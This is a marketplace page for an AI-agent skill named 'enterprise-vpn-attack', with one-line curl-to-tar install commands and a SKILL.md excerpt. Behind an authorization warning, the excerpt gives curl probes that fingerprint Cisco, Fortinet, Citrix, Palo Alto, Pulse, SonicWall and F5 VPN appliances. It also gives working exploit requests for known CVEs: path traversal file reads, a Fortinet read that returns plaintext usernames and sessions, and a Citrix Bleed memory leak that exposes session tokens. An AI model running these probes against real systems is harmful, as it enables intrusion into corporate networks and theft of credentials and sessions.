enterprise-vpn-attack – Other skill for AI agents

External SSL VPN / remote-access appliance attack matrix

OtherSKILL.mdClaude Code · Codex · Hermes · DeepSeek

Install the enterprise-vpn-attack skill with one command

Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.

Claude Code

mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/enterprise-vpn-attack-f81bc.tgz | tar xz -C ~/.claude/skills

Call it in Claude Code: /enterprise-vpn-attack – then describe the task you want done.

Codex

mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/enterprise-vpn-attack-f81bc.tgz | tar xz -C ~/.codex/skills

Call it in Codex: $enterprise-vpn-attack – then describe the task you want done.

Hermes Agent

mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/enterprise-vpn-attack-f81bc.tgz | tar xz -C ~/.hermes/skills

Call it in Hermes Agent: /enterprise-vpn-attack – then describe the task you want done.

DeepSeek

mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/enterprise-vpn-attack-f81bc.tgz | tar xz -C ~/.deepcode/skills

Call it in DeepSeek: /enterprise-vpn-attack – then describe the task you want done.

SKILL.md content

> ⚠️ AUTHORIZED USE ONLY

> This skill is for educational purposes or authorized security assessments only.

> You must have explicit, written permission from the system owner before using this tool.

> Misuse of this tool is illegal and strictly prohibited.

> Mandatory confirmation gate

> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

> 1. Ask the user to state the exact target URL, IP, account, or resource.

> 2. Ask the user to confirm written authorization and the permitted scope.

> 3. Show the exact command(s) and explain their expected effect.

> 4. Wait for explicit confirmation in the current conversation.

> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

When to use this skill

Trigger when recon surfaces:

*.<client>.example/+CSCOE+/logon.html or similar +CSCOE+ paths → Cisco ASA / AnyConnect
intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* subdomains
Port 443 returning login pages with Server: Apache or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
HTTP responses with Set-Cookie: webvpn= (Cisco) / SVPNCOOKIE= (Fortinet) / NSC_AAA= (Citrix) / DSAuthSession= (Pulse) / BIGipServer* (F5)

DO NOT use for:

Internal lateral-movement post-foothold (out of scope per user's boundary)
VPN client-side bugs (different attack class)
IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

Vendor identification (fingerprinting)

Cisco ASA / AnyConnect

curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint

Fortinet FortiGate / FortiOS

curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

Version: /remote/info sometimes leaks (older), or /login?username= 302 response

Citrix NetScaler / ADC / Gateway

curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era

Palo Alto GlobalProtect

curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'

Pulse Secure / Ivanti Connect Secure

curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'

SonicWall NetExtender / SMA

curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"

F5 Big-IP / APM

curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

---

Historical CVE leads — not verified applicability

Ranges and example probes below are imported leads, not an authoritative affected

version list or validated tests. Before selecting a test, read the exact vendor

advisory and fixed builds/configuration prerequisites. A table entry, status code,

response size or scanner label alone is not a finding. Traversal/session-memory

examples can expose real credentials; prefer owner-supplied build evidence and

synthetic lab fixtures and do not collect unrelated users' sessions.

CVE matrix — pre-auth or auth-bypass (2018-2026)

Cisco ASA / AnyConnect

|---|---|---|---|

| CVE-2018-0296 | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua |

| CVE-2020-3452 | ASA, FTD before specific patch levels | Path traversal — file read | GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua and variations |

# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html

Fortinet FortiGate / FortiOS

|---|---|---|---|

# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)

Citrix NetScaler / ADC / Gateway

|---|---|---|---|

| CVE-2023-4966 (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | POST /oauth/idp/.well-known/openid-configuration with crafted Host header — long Host header triggers memory leak in response |

# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'

Palo Alto GlobalProtect

|---|---|---|---|

| CVE-2024-3400 | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | POST /ssl-vpn/login.esp with crafted Cookie header containing SESSID=../../../var/log/pan/test.txt |

The former Cookie probe mixed path creation and $(id) and claimed command-output

proof from a response. It is not a reliable detection recipe. Compare exact build

and configuration with the vendor advisory first; execution/file-write testing

requires a separately approved lab procedure and owner-side verification.

Pulse Secure / Iv

… (full content is in the download package)

Related skills

entropy-box – Entropy Box knowledge-compiler for embodied-AI: turns bounded requirements into grounded…
environment-setup-guide – Guide developers through setting up development environments with proper tools…
eol-resistor-calculator – Calculates and validates end-of-line (EOL, SEOL, DEOL, TEOL) resistor loops for…
telephony – Provision Twilio numbers, SMS/MMS, and AI outbound calls.
error-detective – Search logs and codebases for error patterns, stack traces, and anomalies. Correlates…
esop-equity-tracker – ESOP and equity grant register: grant date, shares granted, strike price, vesting start…
reflect – Mid-conversation reflection skill that pauses execution and zooms out from detail-mode…
regulatory-affairs-head – Senior Regulatory Affairs Manager for HealthTech and MedTech companies. Prepares FDA…

← Browse all skills